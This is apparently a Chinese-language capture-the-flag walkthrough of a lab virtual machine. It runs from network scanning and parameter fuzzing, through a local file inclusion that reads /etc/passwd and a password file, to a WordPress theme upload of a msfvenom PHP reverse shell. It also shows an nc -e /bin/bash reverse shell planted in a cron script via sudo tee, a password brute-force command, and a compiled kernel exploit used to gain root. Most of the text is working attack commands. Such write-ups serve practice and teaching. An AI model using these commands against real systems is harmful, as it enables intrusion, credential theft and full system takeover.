一、ping扫描C段
nmap -sP 192.168.178.1/24 ————》获取IP
二、端口扫描
nmap -p 1-65535 -A 192.168.178.133 ——》获取80 22端口
补充：端口扫描其他方法
netdiscover -p
arp-scan ?
三、目录扫描
dirb http://192.168.178.133 --> 获取index.PHP,image.PHP
dirb http://192.168.178.133 -X .PHP,.txt,.zip ———》获取secrt.txt文件
curl http://192.168.178.133/secrt.txt ——》获取fuzz方法获取参数提醒，获取location.txt文件提醒
补充学习：目录扫描其他方法
nikto -host 192.168.178.133
四、FUZZ获取参数名
wfuzz -w /usr/share/wfuzz/wordlist/genrual/commom.txt http://192.168.178.133/index.PHP?FUZZ
wfuzz -C -w /usr/share/wfuzz/wordlist/genrual/commom.txt --hw 12 http://192.168.178.133/index.PHP?FUZZ
——》获取fuzz参数为file
curl http://192.168.178.133/index.php?file=location.txt ——》获取真实参数secrettier360
补充：fuzz的另一个应用场景——密码爆破
wfuzz -z file,user-dict(字典) -z file,pass-dict --hw 87 "http://192.168.142.139/manage.PHP?username=FUZZ&password=FUZ2Z"
五、LFI文件包含漏洞
curl http://192.168.178.133/image.php?secrettier360=/etc/passwd
——》saket:x:1001:1001:find password.txt file in my directory:/home/saket:
curl http://192.168.178.133/image.php?secrettier360=/home/saket/password.txt
——》follow_the_ippsec
六、登录wp
vitor和follow_the_ippsec
cmseek -u http://192.168.178.133/wordpress/ ——》或者wordpress漏洞ThemeEditor
wpscan --url http://192.168.178.133/wordpress --enumerate u
七、MSF生成payload反弹shell提权
1、
msfvenom -p PHP/meterpreter/reverse_tcp lhost=192.168.178.131 lport=7777 -o shell.PHP ——》生成shell.PHP
cat shell.PHP 放入网页上传
2、攻击机进入msfconsole
msf6 > use exploit/multi/handler //进入监听模块
set payload PHP/meterpreter/reverse_tcp
set lhost 192.168.178.131
set lport 7777
exploit 开始监听
触发：
http://192.168.178.133/wordpress/wp-content/themes/twentynineteen/secret.php
进入meterpreter >
补充：java脚本生成比较
msfvenom -p PHP/meterpreter/reverse_tcp lhost=192.168.178.131 lport=7777 -o shell.PHP
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o kali.war
补充2：nc的用法开启监听
通过tee命令将恶意脚本写入tidyup.sh(某一计划任务执行的文件)
1、echo "nc -e /bin/bash 192.168.110.128 5555" > shell.PHP
2、cat shell.PHP | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh //sudo具有sudo普通用户执行root权限
攻击机开启监听：
nc -lvvp 5555
八、搜索目标机操作系统漏洞
msf6 > searchsploit 16.04 Ubuntu
linux/local/45010.c
cd /usr/share/exploitdb/exploits/linux/local/
cp 45010.c /root
cd /root
gcc 45010.c -o 45010
meterpreter >upload /root/45010 /tmp/45010 //漏洞上传到目录
meterpreter > shell
python -c 'import pty;pty.spawn("/bin/bash")' //以交互界面显示
cd /tmp
chmod +x 45010
./45010
whoami
root
cd /root
cat root.txt
b2b17036da1de94cfb024540a8e7075a
